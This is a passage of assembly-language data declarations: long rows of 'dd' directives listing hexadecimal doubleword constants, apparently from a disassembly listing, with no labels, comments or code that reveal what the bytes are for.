dd 0B8C43613h, 377B70A2h, 7783B65Ah, 17B10BE0h, 83586762h
dd 44699D24h, 34DB5B80h, 7AE7E501h, 0ADF4BF62h, 832DDC11h
dd 273021Fh, 0C81837EEh, 11742F0Fh, 28448DD7h, 95AD5F81h
dd 3DB2C722h, 6E88D529h, 0E0593466h, 739991CDh, 2AF72BF9h
dd 0F6F3CE4Fh, 0ACC990D6h, 26AAD3A4h, 0D55D71A0h, 0B058386Ah
dd 8D86AB4Bh, 97BD7273h, 9EF51E85h, 114E3A51h, 63CEC558h
dd 0EA382B97h, 74ED64A5h, 0CD2891B3h, 0A8026D3Eh, 0B646DC08h
dd 6F70B612h, 8D62C51Dh, 603081B4h, 54D9E435h, 0AB92FE3Ah
dd 0F1B1F484h, 7D8AFC88h, 582FB65Ah, 2BA6C1EDh, 0CE7A53Bh
dd 762161ACh, 95385765h, 5EB97DD1h, 89D7019Eh, 1AC7ADB5h
dd 0BAABF8A3h, 0F82667C5h, 61FA441Dh, 0F759E826h, 0FB193247h
dd 231F1E85h, 54DC5651h, 2FBC08BCh, 0C1CB1B59h, 5F26818Fh
dd 0C44E6159h, 0B407AEBh, 67A38FDh, 26911884h, 0A5A17189h
dd 71F36803h, 295F361Eh, 7CBED85Fh, 0C032AF59h, 27162A7Bh
dd 0E4378D04h, 96BF218Eh, 7599A725h, 0C406C919h, 311131A5h
dd 98EB07F2h, 0BF2F45C5h, 7B1BD82Fh, 2417D957h, 0FB908399h
dd 0B649FACh, 1541D065h, 6A079F86h, 0EA1370BEh, 0E5E6C633h
dd 574E30B4h, 6323D1D8h, 5BA498B5h, 0FD329963h, 84F7C176h
dd 3CB2B914h, 766B1DB4h, 0B0E19751h, 77FAB449h, 0B7FCABA2h
dd 0DE7938E2h, 0AD603DEAh, 0DFF21D03h, 8A1FDAC8h, 60CF7A21h
dd 0D10E9395h, 0F84C95B5h, 0E03F8F84h, 68D1D6Ah, 5537CFD7h
dd 0DA14768Ah, 4CF06CD7h, 1C93D7F7h, 0C80D152Bh, 0F73D6C10h
dd 5AB2C8CFh, 7FBB047Ah, 0D79653E1h, 879589C7h, 0F287B1A5h
dd 2EFC2028h, 8E4EC209h, 0F207A307h, 6485D6AAh, 0FC097B8Eh
dd 5DDCDC5Dh, 0C0D25127h, 6897907h, 6F62A7D3h, 60A0DDA6h
dd 0B44EAD0Eh, 609C53A2h, 776879EBh, 76966695h, 0D72EE971h
dd 0A1511533h, 5DF893F5h, 0CA65603Eh, 0F84AA190h, 8F0C5CF8h
dd 473C63B0h, 2A35D04Ch, 8C468C10h, 0EC91E9E6h, 34FBDE4h
dd 6C5C7A14h, 9C309393h, 0FBDAB087h, 0DFC9E286h, 0DD055140h
dd 0A7133793h, 12B5E234h, 0AEC10E10h, 5BD28E9Dh, 5AF50DEDh
dd 4A4CF5F7h, 0D0F98BF4h, 43E6387Bh, 0C7FC308Eh, 0AB3833Bh
dd 7F1F61Ch, 98667EFFh, 93E711F4h, 15088A98h, 0FD922210h
dd 0EFD27F20h, 5FBDAB5Fh, 0EAA34E16h, 81C63D27h, 0FB16155Bh
dd 57A8B671h, 36086FF4h, 0B0057E7Bh, 14461825h, 9AE2632Dh
dd 0C7339ABDh, 0AE0FDCAFh, 13173051h, 0F9C3B22Fh, 0BF9536CFh
dd 5FE743E2h, 0C35AFD89h, 0A68F425Dh, 9593F235h, 0C06A0183h
dd 0AB807C50h, 0DAC44C32h, 0BC143106h, 3E75C534h, 0D39EA790h
dd 1D443B58h, 0C0E0801Bh, 0EDAFF8BBh, 883542BBh, 0DC5288E9h
dd 9852FC26h, 7362CAE4h, 61EEBE67h, 0E939A0DFh, 6F586A0Ch
dd 0D096E63Ah, 19388BB2h, 6D7341E4h, 0BC134E15h, 574DF421h
dd 1C53FC07h, 0B867ACBEh, 0C9821CF1h, 4897809Dh, 0F5D0C51h
dd 3DC5B78Fh, 8B3E3E31h, 0CDCE2CF7h, 6AAEBDBEh, 282B8D7Dh
dd 67F2A4Dh, 69B69B50h, 69208631h, 0D7348458h, 94D6D5DBh
dd 41797281h, 8BADEE4Dh, 5ACBE9F2h, 647D6EFBh, 893C099Fh
dd 66D1CE76h, 0EDFABF4Bh, 0F6DA5105h, 55428EADh, 2CD3649Ah
dd 0E96000FDh, 0D3657ADDh, 0FA8E7DACh, 0A2C06FEFh, 0A7DC766Fh
dd 0FF0CC314h, 85420A63h, 0A7393129h, 3E6319DAh, 6D515C28h
dd 0AFB8614Dh, 8EF90C30h, 0B832BEDCh, 429CCD78h, 44FE0694h
dd 0AD936CABh, 12BC4203h, 0CCF2E8A1h, 0A850A1E4h, 78DCFBB2h
dd 0E32317B9h, 45C93FB2h, 8CAB9A7Ch, 0B91D4359h, 110AABCFh
dd 58593930h, 820E38D2h, 452D8A6Ah, 0E837EE5Ch, 0C5484D10h
dd 98948DB3h, 0B6CAD21Bh, 985EB09Ch, 0CF62960Bh, 4A90E484h
dd 0A8566540h, 50D58FC9h, 0A207D638h, 1CD2A5A9h, 0D672D59Dh
dd 7CD1C2D7h, 0C3CB139Ch, 1620A17Ch, 65CC5213h, 0EFC0921Fh
dd 13D4A8E5h, 6E6A32AFh, 368CAAC4h, 0E898211Ah, 0CB6350Fh
dd 0DA7175EAh, 0BF4EFFDAh, 0BA9600A0h, 0E2A2C91Dh, 28D7E5E0h
dd 2A55CEAAh, 5558F0C6h, 36743922h, 0B26ECF10h, 30833F78h
dd 0B907B4FAh, 0B53FA8B8h, 0E4EC52D3h, 0DF0D82ABh, 534D6A57h
dd 2236A42Eh, 0F2A82315h, 197F8C82h, 60735BC6h, 0D9319B44h
dd 3F92995h, 0B1311AA1h, 0E147180h, 7CBBBA9Eh, 10BE0B64h
dd 9B0C0CA2h, 0CEA8CBDCh, 36FEDC7Ch, 296E7EBEh, 0BE01EFECh
dd 21FEE9A4h, 5308FDFBh, 8FB02FEh, 0CA073507h, 306CE407h
dd 9D074C5h, 0C13B4A86h, 0F933A461h, 1D82115Dh, 0D94BA9AAh
dd 0B8ACEE7Bh, 22961F64h, 6BBAA46Fh, 8F8BAB72h, 0FAEBB2E6h
dd 0FDE0CFF4h, 5FF0ED3Ch, 44327F39h, 72E0542Ch, 9DC938C6h
dd 4F9C5A2Ah, 4FA842EFh, 0FBC43443h, 0B39C9346h, 65F7A882h
dd 12A0079Eh, 0F876E43Ah, 23E97F58h, 8ACD4CFCh, 9BAB30F7h
dd 0C86595D3h, 0B223DBA0h, 0FDAD5CEDh, 0A091BF12h, 6CF7B93Bh
dd 7C698AD2h, 0FA4F943Dh, 10EE25F6h, 0B46B841h, 0E00EB4D8h
dd 156C1D83h, 1C943050h, 28BB61E2h, 6732C9E0h, 0A75D1B41h
dd 54DE468h, 58863796h, 0A110CF4Ch, 0D50BF5AFh, 57C0EB00h
dd 1953A677h, 866CA717h, 66EB1EE0h, 71DA6577h, 0C98CEDFDh
dd 17F16CE7h, 0ECA025ABh, 3ABB8F64h, 0B96B7F0Fh, 0FC1F35C8h
dd 0B9081FB2h, 8670AE81h, 0F9553746h, 4CEE825Fh, 0FF38724Bh
dd 24B0F6B9h, 0B2295FF9h, 1904F8A2h, 9DC42FE0h, 8D42FEF4h
dd 0EF3A7D32h, 0C94B5F9Eh, 0D28118B1h, 376B1456h, 0ACCE0EBBh
dd 1D5A91F0h, 0EA5C8B2Ah, 8F1D6561h, 86B65EE0h, 0AA930CCh
dd 4C1C976Bh, 38450F70h, 0EE41E2FDh, 0AD480882h, 0A94907F3h
dd 0AFE3A1C2h, 0E56EB063h
dd 71494114h, 0A02E5A1h, 1980F0D4h, 0CE84C34h, 0AC90D16Eh
dd 58BB2D9Fh, 45B407F8h, 2916EB43h, 0B5EFD651h, 18108EDBh
dd 0A52E68B9h, 721FB228h, 0EB09ADBEh, 39EBE78Eh, 0CE2E5341h
dd 0A36DE2Eh, 89329622h, 2370EF22h, 86ACF7A7h, 0B1F67D33h
dd 0AC6C430Ch, 0F815FABEh, 81912E55h, 3AEF44C1h, 465D63F8h
dd 0C5C100A1h, 1488A6FAh, 0F966F360h, 3E5D635Eh, 58C71AA5h
dd 885D8716h, 0CD99E0A5h, 491C4077h, 8F5F717Bh, 1FA0B5B9h
dd 0DE9F9C50h, 0A0340FFAh, 0E1BD8EE7h, 534D16C0h, 408954FBh
dd 0DF63B9F3h, 6960CD65h, 9312166h, 0EEAEB4DBh, 91775ADBh
dd 0F050D7B4h, 0F934DEDFh, 0B60824B7h, 5856DF2Ch, 0D1ED91E4h
dd 9FB83BB7h, 468253B3h, 2CB23CE2h, 1224643Bh, 0D0DCDBCAh
dd 5D3654A2h, 0EF29AEFh, 0A343BC9Bh, 86049A5Ch, 0BD87A065h
dd 0B00D3CEEh, 0EF5D2D99h, 0F763AECFh, 0FDF7ABEBh, 0CC0197A9h
dd 9A621EABh, 0A84B9A4Dh, 2925346h, 0ED906E1Fh, 0F8E45B21h
dd 2163C07Fh, 4FC9D6A0h, 105734D0h, 54F7D9B1h, 0C2E7A835h
dd 206356EBh, 0CF972EC2h, 0CA872115h, 0ADDB1DF6h, 0A354A709h
dd 0D0C0664Ah, 0CC408871h, 904AF467h, 3181C7DDh, 58B1C935h
dd 9F40C741h, 327A41BDh, 31A16B98h, 0E6D76D9Dh, 0E05887C3h
dd 2D799D4Dh, 203A4403h, 0F9ED82E4h, 57384672h, 2866E80Bh
dd 0ABD1929Ah, 0EC75BFFCh, 61010487h, 1B286386h, 9D1F4591h
dd 7155829Eh, 0F25C68C0h, 93DF2CFCh, 8B33193Fh, 58743AD0h
dd 8DC0A7A5h, 8B4D263Bh, 0A5C8F375h, 7EA30A36h, 9AB1421Ah
dd 39AA85Eh, 0F3C7F32Ch, 60B6C0B9h, 2F651771h, 3DCFBDBEh
dd 6E5C4974h, 65B1E0D8h, 49ACA8DDh, 9266D17Bh, 0DC7E3EDFh
dd 2B238FD6h, 29E260F6h, 0FD4816E8h, 64BA1137h, 7A49C213h
dd 0E7F806BFh, 6CBABDF8h, 0FAA38C91h, 0DDA173E6h, 0C1D27CAFh
dd 50C1ACE8h, 68B00ECh, 63848B5Ah, 0CC4C6D1Eh, 0DEF67D41h
dd 697D44F6h, 36615784h, 0F53E4608h, 0AFDA969Eh, 0CD3145FEh
dd 576DDC17h, 2039AC7Fh, 6557F564h, 2C5A569Eh, 6F7E251Fh
dd 9E87DDB0h, 0BAB0376Bh, 0F087FB79h, 457A5BEFh, 0A592CE8h
dd 9F9ADC44h, 8FB59693h, 8CD8F067h, 426F3028h, 902BBDA1h
dd 0F11D4093h, 3F388E72h, 0C67D566Bh, 0DF519E38h, 8C9881D9h
dd 0B42B7B7Eh, 7FC7B973h, 0E12E5CE9h, 0B25479ADh, 5B915E8Ch
dd 2A2BF3A1h, 8B56EC2h, 32D154B0h, 94714049h, 0EE41CE82h
dd 124D9919h, 5D989C96h, 0A55D4F9Ch, 0F06E6F25h, 7B9D667h
dd 0F519A4D8h, 0D928F69Eh, 0E32B23ABh, 10E05672h, 0A8AE2094h
dd 9306AA48h, 1A69BDB8h, 0BB8A20F9h, 0D80B80E8h, 1817867Ch
dd 5C79DBCCh, 0C653DAC9h, 0EB3647F4h, 0D96D231Bh, 0E295FB0Dh
dd 9104112Fh, 0AD2A011h, 0AE450363h, 52B7C848h, 0BE931605h
dd 0AB71CFCh, 0F1C8191Bh, 4E2D4BB6h, 2918BB02h, 22D3F62Ch
dd 0DF49DCE4h, 0A8C5DF12h, 0F0E75899h, 4E7190EBh, 0DF1543B4h
dd 14CA2B1Eh, 70A53517h, 0D013E30h, 13A70DB5h, 910DDB98h
dd 0F303D3BEh, 0F1C11DDFh, 0E8F8FA27h, 31280BDEh, 4DCDCB19h
dd 0DFDE43A5h, 66B4930Bh, 0F3FBC831h, 5502C44Ch, 78220405h
dd 0E0068D9Ah, 72634CDAh, 644A09E6h, 1BEB39CCh, 28B293Bh
dd 6FC94F42h, 0AC66DB2Ch, 3FE6A4A6h, 83F15749h, 9249D2E6h
dd 2704F316h, 9C9AD77Bh, 0A231001h, 0C1D3B984h, 0A2CE9C25h
dd 0D4D395F5h, 225DD082h, 0FC0F794Eh, 1A797DECh, 0BE4A7B60h
dd 0F7E6E657h, 0D9FBBC04h, 2282F260h, 4EA45420h, 0AEB83BA9h
dd 0C819B5F4h, 68B7CDEDh, 80FF8B6Dh, 81E65AF3h, 0D603F0A5h
dd 0E681B407h, 79EAB58h, 0F4047E78h, 56992A64h, 677DCAEEh
dd 0E837772Eh, 6E470AA8h, 0FB568966h, 0FE66D9Eh, 1EBEAC11h
dd 7155A7A3h, 182E4CC5h, 0F8AFA096h, 6CA1E349h, 6FD6F48Eh
dd 0C749B786h, 0C48D660Bh, 0F9C10A27h, 0C7D4EF58h, 998112F3h
dd 7D0E3811h, 0C03E9935h, 0A0CEE34h, 0A21914F2h, 8FF92DB9h
dd 0A1942DEBh, 331D5988h, 74C870EEh, 0C619BA3Fh, 1B59FAAEh
dd 25101CB6h, 0B2A659C8h, 7EF9D637h, 0F79EFCD0h, 74EF9E18h
dd 6DCCC14Fh, 0B3E0CFB1h, 0B5126400h, 8A40D404h, 1AD30A27h
dd 515DA1A6h, 0FC1BE73Ch, 0CDFC566Ah, 47E03A8Fh, 13F32E92h
dd 0A75BEE67h, 6BC45BC1h, 0DF9B91D1h, 0B6AF8F53h, 284972D2h
dd 4548BD89h, 92C20B90h, 0F3666BABh, 0ECC9C1C4h, 0F1CF27AEh
dd 9CF8945Bh, 17B3DA74h, 0E0CAAF43h, 8FC6F97h, 2939F1F2h
dd 56D5E7D5h, 4016A72Dh, 48111B6h, 8D51EA0Fh, 6A015D07h
dd 5328BA0Dh, 0F7F5071Eh, 0D8DAB5FCh, 6EF315Fh, 35F0C7D7h
dd 0BE4E6B35h, 22671548h, 0BA55385Eh, 0D59C1369h, 90DE28C0h
dd 2C88ABB8h, 0E323270Eh, 13DFA0B2h, 5E187F71h, 6CD370AFh
dd 0A7E2FA53h, 0C677990Eh, 96B3C632h, 69845D28h, 0D3198F14h
dd 871115Bh, 0B05D6808h, 0CD863F9Fh, 0AFC8C850h, 161B762Ch
dd 6C5A5E3Fh, 0FDCD0023h, 2951CBB0h, 8B4B6C2Dh, 7F9A8790h
dd 22A2A516h, 755B7D63h, 3D749E9Bh, 0EE0E1A7Dh, 0E1980001h
dd 5EC69E47h, 0A9EE5743h, 34E67E27h, 762A45A4h, 556605BDh
dd 165AD33Fh, 0F3698BDh, 0CEF28980h, 1CA76A8Eh, 9590F9ABh
dd 0A4B10BDFh, 0DAD4526h, 414076DAh, 2AEC7700h, 625F8C33h
dd 42E0F04h, 0FE7130Eh, 37408367h, 0F8FB3C24h, 461AEEFDh
dd 1F68AAE8h, 90518281h, 8EFC5C27h, 0A5BEE5E1h, 0DF2CE88h
dd 1BC5CC51h, 2C193EA7h, 126A5AD4h, 75C94648h, 50143787h
dd 9C8440D6h, 17990CC2h, 56D2C914h, 2312109Bh, 0D528D1E7h
dd 0F691740Eh, 0BE2B07BAh, 4CB1D674h, 0FFC444BCh, 7D20ED47h
dd 0C19ED2D5h, 1F01FF36h, 0CA637C28h, 4796AA9Eh, 0AF7A3800h
dd 695E7D56h, 39E4326h, 89C56166h, 0D16FD99Dh, 0D2E2921Fh
dd 70132156h, 440AE76h, 8633F399h, 0BE4D3F3Dh, 3E87C797h
dd 0CDE60DC4h, 0BDFD1EEAh, 0B3D74B6Bh, 966F7DA8h, 6FF5D2B9h
dd 0ABBABC19h, 0A3B75485h, 74477C1Ch, 23942D3Bh, 9446222Fh
dd 0E0BD4ECh, 583E40F9h, 0DEF216FEh, 3F7D43D2h, 0E9BFB823h
dd 9F1AE967h, 0F2138629h, 38C73B01h, 18DF6F1h, 7C0122C0h
dd 6DF224BFh, 868A6869h, 1CD15CE6h, 0EF35CDC0h, 0F817F667h
dd 0D1FAECDCh, 9535252Ch, 2CED5D17h, 0C334E616h, 683C60BAh
dd 9F59E143h, 0DABEC701h, 0CDEC912Ch, 0A9C78699h, 9469F267h
dd 0FFCAEFC7h, 0D3B815BEh, 0E9DFADB2h, 0B0C9A92Fh, 4C0C46AEh
dd 0DACAB5CEh, 0AD564C3Ah, 0ED22E1DAh, 0DD4933E4h, 18E8B873h
dd 0C9839F65h, 0A4902BF3h, 0DF71E01Bh, 779A2922h, 4F934A08h
dd 6D7D265Fh, 0E115A5FAh, 0F7C158C8h, 9F98DB65h, 550F8608h
dd 0F22ADC9h, 0F7792529h, 620CF3EAh, 517F7CD9h, 58C1F416h
dd 35BB456Ah, 7A2D8068h, 4BCA1390h, 9EA2A6FEh, 0E5FC0E4Fh
dd 93F2E572h, 591C1658h, 559DF7D7h, 0A6AFAF50h, 1DA73385h
dd 6027A5A7h, 0A71A0E84h, 83D815D7h, 9387BD73h, 12059244h
dd 1DFDB5ACh, 0E7C9F4D3h, 437EB18Bh, 7F127846h, 0EB85E338h
dd 0F8E5A4F2h, 900619h, 0E2753A39h, 0FA217373h, 8811A771h
dd 3169587h, 0D6256EB7h, 3C581079h, 4DCAC6Fh, 0DE30BF11h
dd 16366D9Ah, 6D63AA96h, 17C48072h, 0BCA67C1Ah, 8FDC6384h
dd 0A623439Fh, 0A20B59EFh, 0DCFB5257h, 6C3E0BC8h, 0F53FD489h
dd 1E806BB6h, 732D194Ch, 0E17F1689h, 0FB5F8B6Ch, 337481D4h
dd 4E0AA217h, 972BF5E3h
dd 4929DF3Ch, 66C65D8Ch, 604527CEh, 7A97B30h, 55A2A56Fh
dd 0E3EBCC16h, 0AEB8F824h, 3BD61BBh, 0C98CEACAh, 0AD0591B5h
dd 3C8227A5h, 0B2968EC6h, 0EDBBD6E3h, 4CAC4BCCh, 3DBD695Eh
dd 18DA3BE9h, 989F2126h, 0B033074Dh, 6FEDAE11h, 3AE9DB4Ah
dd 9BE0E024h, 9BB7165Eh, 9E0C3905h, 68E2F859h, 3DA6271Dh
dd 0D8499257h, 71F2A241h, 0DB4C508h, 38798785h, 5237B233h
dd 6B2DB535h, 804D5347h, 8CDC931Dh, 26753699h, 0EC42CC46h
dd 0BCB1FA2Ch, 0F9D81769h, 75DB3FDDh, 9C2F459Eh, 0FE5F373Fh
dd 481F144Fh, 812EC843h, 8B5FC2B2h, 689BAE3Fh, 264220F2h
dd 1EA0B917h, 31CFD4AAh, 6F5B65F1h, 4BC8A257h, 0BA6238Dh
dd 71A882D5h, 0B8BBAFE9h, 223FDEF2h, 0B3E54801h, 1975338Dh
dd 0C2DA6D38h, 2E700C5h, 0BF3D2EF7h, 5D15AA04h, 0D9620EAh
dd 0F2B65235h, 0E5473AEFh, 54676354h, 5F72D61Bh, 0BC00EB66h
dd 0B1974A8Dh, 0EF0830B0h, 3821EADDh, 0D1DCC574h, 1C331A66h
dd 0FD436381h, 885992BCh, 0DC1F7D2Fh, 0C7FE93C1h, 0D36BEF2Bh
dd 8D8BABC5h, 0DD052A55h, 9C9B7779h, 0F4DBB0A3h, 0C7816346h
dd 0D3455A74h, 2766EF14h, 0A8663E42h, 0FEC3254Eh, 0AC740078h
dd 7349EED4h, 1C4E4748h, 0FD804C67h, 0EE714F14h, 3A981D38h
dd 246FCA1Ch, 0A3636E68h, 4B3CA24Eh, 8DBBF3A0h, 0A758B337h
dd 55D2F45h, 0D4114F73h, 895622A7h, 0A9A356C8h, 3E347B92h
dd 0E7C1FB04h, 221DF855h, 0EF26C41Dh, 99C075A7h, 0B0075D60h
dd 0D9CB1D43h, 0E764DB5Dh, 0F0A147C0h, 0D3E839D6h, 0CD609E48h
dd 43EEA5DDh, 4361F692h, 0B6BBF67Ch, 0DAFAC228h, 4B772275h
dd 573B3BB6h, 0D48D0027h, 0C638971Eh, 596641A9h, 1B4DC7FDh
dd 154D6705h, 0FBEFC527h, 1A2B464Ah, 40708447h, 32972813h
dd 0FFDD2807h, 2AC6185Fh, 80EF0998h, 4F6822FDh, 67F54F5Ah
dd 1D0CE44Dh, 0BE6C0CA7h, 0E625532Fh, 0E58EE421h, 9D1D7EDCh
dd 0D6C4CAA4h, 8C6E59F0h, 0AFDF4BE6h, 3728C8E6h, 31AD5EB6h
dd 0A8DB70BCh, 3D3A97A6h, 0C361EFF0h, 202EEBEDh, 8639B852h
dd 1F50BB68h, 0A3C9E24h, 10DDF76Ch, 46B69E60h, 0DCEDD31Eh
dd 46D81FFAh, 15CF0843h, 0EAE5F508h, 68133E96h, 517C9460h
dd 0B50E32ABh, 985D2E0Fh, 8F2A7B9Ah, 8E7D84Ch, 0E356B27Ah
dd 8D360221h, 6075425Bh, 5E93035Dh, 458F968Bh, 4330BF7Bh
dd 6E6D72A9h, 6163A5A7h, 780B881h, 0E7757AC0h, 7024ACFEh
dd 5B88676Ah, 0EA4480B4h, 2C99F068h, 89A8290Eh, 1771CDF9h
dd 5E5A6962h, 0D53965F3h, 0FD76535Bh, 951CC7B9h, 0F17AC1C8h
dd 0C0655C0Fh, 9EA6E5E6h, 9AA4DD98h, 38EDCD31h, 6E4D5C59h
dd 96BD885Fh, 8F355840h, 0EE64B393h, 345597C4h, 0A0F70798h
dd 29126EA8h, 5F2AE836h, 5350DDECh, 1D3B1C3h, 73F53428h
dd 4AF219E1h, 0C047792Ch, 889E1F44h, 0D394AA0Dh, 0A2326809h
dd 71C66391h, 7C46911Bh, 8CA0F4Dh, 0A30B2918h, 19294EAh
dd 3261D422h, 313B280Ch, 22A1BCD3h, 2FF5F5CAh, 5FD0F4FEh
dd 0D6938CC7h, 240A0FA9h, 7982B264h, 0C7F15F7h, 8F39610Bh
dd 1F2F826Ch, 14C3D0EAh, 1C16A00h, 0A831058Ch, 65F8D4C0h
dd 0A06D7433h, 71B6766Ch, 74E8F126h, 64E8F9BDh, 0FA6F2823h
dd 120B696Eh, 0A7D1D50Dh, 0E58D1E2Fh, 48DE3723h, 85C86F08h
dd 96725AB2h, 5104C1CDh, 0AF3FC244h, 60EE34F9h, 0CECBAE30h
dd 61BF2BDEh, 2DA5F858h, 0A7866A4Ah, 34BD9374h, 0D798DFF1h
dd 410416D9h, 553F00D3h, 8C8B0128h, 9DFA9206h, 0B6F316EBh
dd 0FB852685h, 0E03FF465h, 0F3EAB656h, 3EDC49B8h, 8DF14390h
dd 5CE0749Ch, 0C2F1FD6h, 5EB2EB85h, 6C07332Ah, 6AA70746h
dd 2CB19597h, 7E6539CBh, 0BDC06F50h, 9B771E6Ch, 0F4878FF9h
dd 7C85B2BEh, 964EEB19h, 0DD2F2393h, 2ED72DC6h, 96C8D286h
dd 6E88240Ah, 0FAC5E653h, 0D35B72CFh, 8D23B02h, 187778B7h
dd 6D2B7894h, 18375F02h, 4B0BD3E5h, 0D726E0C1h, 77771B28h
dd 2AB82160h, 784E2479h, 0D95E2ED9h, 0AB4FC24Eh, 0FCDD0982h
dd 2258487h, 65F0B1D9h, 0E4487ADEh, 2B65A4E9h, 17FD266Ch
dd 92E05B34h, 12843ED5h, 0EC8BC985h, 0C2EC9B0Bh, 0AE7AFADDh
dd 23B8D50Fh, 0B65A8A47h, 890CF2FAh, 6DAA89F0h, 67CAC8F1h
dd 0D7B5B54Fh, 89BE4FA0h, 9175B86Eh, 6804698h, 0DC578F8Fh
dd 0AF164875h, 6C2AEE7Bh, 0EA2F7E29h, 8B9EF9CEh, 0B9356EEFh
dd 0DB101990h, 6372BC9Fh, 7745A1C3h, 2CD9905Eh, 0CE7FC2DFh
dd 39DBCFD1h, 519D4A7Eh, 5C62B29Eh, 0C8D518EEh, 338F1D7h
dd 28317C19h, 7837993Dh, 0F7A00D15h, 64B77FC2h, 0A256C0B7h
dd 3BDBC9A3h, 57A2CBF1h, 6EB12803h, 0C4EBD7CFh, 22505166h
dd 0C164E14Ch, 0B2563FE7h, 0F305F6EFh, 910444A1h, 5220CC21h
dd 0F65C740Dh, 0AE1AF7F8h, 0E9AC9A65h, 594D90AFh, 73B25DBh
dd 5E4D8143h, 8F9C38E6h, 10A5A6CAh, 8B9C3247h, 0F041A9B8h
dd 1A122F8Ch, 93FFEF88h, 0A0E087BCh, 0A7C5FCC2h, 2B089292h
dd 3B47205Fh, 884AF0BAh, 34B6F4C7h, 60B1E7FBh, 0B2EE2690h
dd 0AD82C598h, 4F6D2D82h, 87A1F47Dh, 1520EC8Fh, 683270C5h
dd 61E848CEh, 0D1887710h, 0C86D8C16h, 1E0E8CB5h, 10762380h
dd 7EEE639Ah, 27D3F21Eh, 5490C8ADh, 0AE1AB3E7h, 0A2290B09h
dd 1D9AA445h, 0A5EBECE2h, 11387E49h, 81A16E50h, 0A3C51F29h
dd 2C809FFFh, 382EFF9h, 495F3181h, 365F920h, 6F6EEA7Ah
dd 6C4B0CB6h, 1073F39h, 0E53C207Eh, 0F7C66F75h, 0D0E1621Bh
dd 70E2B66Bh, 96D7F749h, 0D9F5F98Dh, 0F7BB420Bh, 0F20BEF1h
dd 78004D84h, 77B60F9Ah, 0ECBDC37h, 39894372h, 0B888B6A0h
dd 5D46E984h, 4E818E8Bh, 438C730Bh, 36D4BE11h, 6CF3AA56h
dd 8002F4DBh, 0F4251EB3h, 479CD07Bh, 0EFFE5F9Ch, 0A198CECBh
dd 8669B7DDh, 320D764Bh, 0F2A436D5h, 0D8C464CFh, 33F5ACC4h
dd 5C4D6E75h, 829E8BBEh, 773C93AEh, 832FCC3Eh, 0C3A4E6B4h
dd 60C72EE1h, 6409868Dh, 4043FC15h, 2A8A5BB3h, 81D36EF7h
dd 0E6D0E053h, 9486EA6Bh, 6EF164B1h, 77C96722h, 526496FDh
dd 0A625E766h, 668DA993h, 31CCBFCDh, 79D5DB00h, 69DDD3DBh
dd 0B8EF6CDFh, 9C394BCEh, 0DCA6FA21h, 0F66179B8h, 4F9E2AB7h
dd 520D4CBCh, 69223E2Dh, 73B7C7Ah, 7D5B89ACh, 4D897C02h
dd 0BA082DC2h, 0A30EF14Ch, 983B95F6h, 742301D0h, 0ABEE951Ah
dd 4779AE70h, 1F128A2Ch, 918B5AA7h, 26E382D4h, 93493BDCh
dd 712B5512h, 69C0BB7Fh, 85F1B8DAh, 0DBAADF24h, 3727E9ECh
dd 3C139764h, 4631485Dh, 0F8FF9E68h, 0E6B90D7Ah, 225062B5h
dd 0E25675BFh, 0E7DD0098h, 0F53031BFh, 27727953h, 914E68h
dd 9A074FFBh, 0B52195B5h, 1D5EAAB1h, 0C1C15301h, 78B6FB5Fh
dd 5D91AFA2h, 2F682A97h, 98BFE9C1h, 0E09EFDD4h, 0CC4419F2h
dd 40C82693h, 759CBF22h, 7C8C3A4Fh, 4921611Bh, 91E1E0DEh
dd 3BF8A7C3h, 27C4AC4Bh, 0DF120101h, 8B72124Dh, 59AF84E4h
dd 1CA3519Bh, 0D99FE39Ah, 0DF4BD39Fh, 0DB7908E0h, 8DD73B01h
dd 0A20BCE4Ah, 72D922ADh, 579B4847h, 92257E1Ch, 0EEDE7D92h
dd 1739B7E4h, 497825C3h, 28E5D56h, 0DC4CB4D3h, 35BE9409h
dd 2AA25C4Ch, 62127355h, 7F91DB8Fh, 448DF634h, 6BD902E0h
dd 1AFA61FEh, 0E32FC9E9h, 0E577CB76h, 50C2469Bh, 0E9569420h
dd 2A38BC39h, 23A82B9Fh, 0A851BA48h, 87F62C4Ch, 0CC718865h
dd 0ECA3855Fh, 0B6866AEBh
dd 484E8241h, 1529D633h, 0F09620E2h, 299D2F6Dh, 0A58BD877h
dd 416EAE7Fh, 0AC400E26h, 0A5E2EFD2h, 0C21BD9A2h, 89F83F92h
dd 8704A39Bh, 6E6D34FFh, 8395564Ah, 0E46A82F1h, 0D64FDCD3h
dd 0CE1B31CAh, 74F948C3h, 0DEBD38FAh, 30CF52D3h, 319E3194h
dd 3FB0BACBh, 5F18E334h, 96D03F46h, 895FA864h, 6D09EDE7h
dd 86D7488Eh, 40167B7h, 0B81B23Dh, 3E5BEA36h, 0CA643B6Ch
dd 0A6A685C7h, 0BEF91D9Bh, 6300B17Ah, 55A1E818h, 0DD5B7677h
dd 74C2C59h, 0DAD778B4h, 0FCD3E6D8h, 4A5BBB3Dh, 0BDCAF423h
dd 3811AF6Bh, 0D581301h, 0C1288EC5h, 0FDDD5592h, 7F1B6404h
dd 0BF25D4E1h, 0D5701B89h, 45780A06h, 7F78AFB2h, 5F4CD556h
dd 5A30FB14h, 2918C175h, 0AA83EA70h, 32E90857h, 6B2930E6h
dd 611DFF47h, 31E4616Ch, 9BD106DFh, 0A79BD380h, 4AFB7AC5h
dd 0E3A37A42h, 373F8765h, 0FDA7498Bh, 1DADD47h, 4A5D0F81h
dd 31FB4490h, 0A27C7115h, 22BBD756h, 285B3DD4h, 0CF8B7805h
dd 0D7FC3217h, 0A803DFAh, 0D469BF9h, 2B59E02Dh, 0A9EF2B87h
dd 331BA127h, 1F3B62Bh, 4EB87B25h, 0E89A872Bh, 1715450Dh
dd 2D2BCD3Ah, 0E1C9E3Fh, 6E0F6E16h, 0F04BA869h, 10AC5F68h
dd 5904197h, 7C3F7995h, 5A48758Bh, 2A3867F4h, 4F229BA5h
dd 560F85B0h, 90371CB2h, 39424A6Ah, 0B14A03D6h, 0BF364CA4h
dd 4D4283B0h, 436BD47Fh, 0F8D47C7h, 33D1EFCBh, 9A8496CFh
dd 0AFF9114Ch, 0C2C47877h, 98360C91h, 31021022h, 0DC99BAA2h
dd 40FC49D6h, 76590F37h, 4F3285B0h, 9F4BE15Ah, 0D1E109EEh
dd 0B9BF2AA7h, 4857C241h, 0F998091Fh, 0DAC666DBh, 32D8994Dh
dd 328C9CCEh, 0D133EBDEh, 0B23F4AA3h, 4ACD41DEh, 0A443C28Dh
dd 21DD6852h, 0C39044BBh, 4BBBBF79h, 0C94B1095h, 3C40FBEEh
dd 62F3F445h, 0FA13A751h, 0DD0D041Ah, 0E68C473Bh, 0C367BC66h
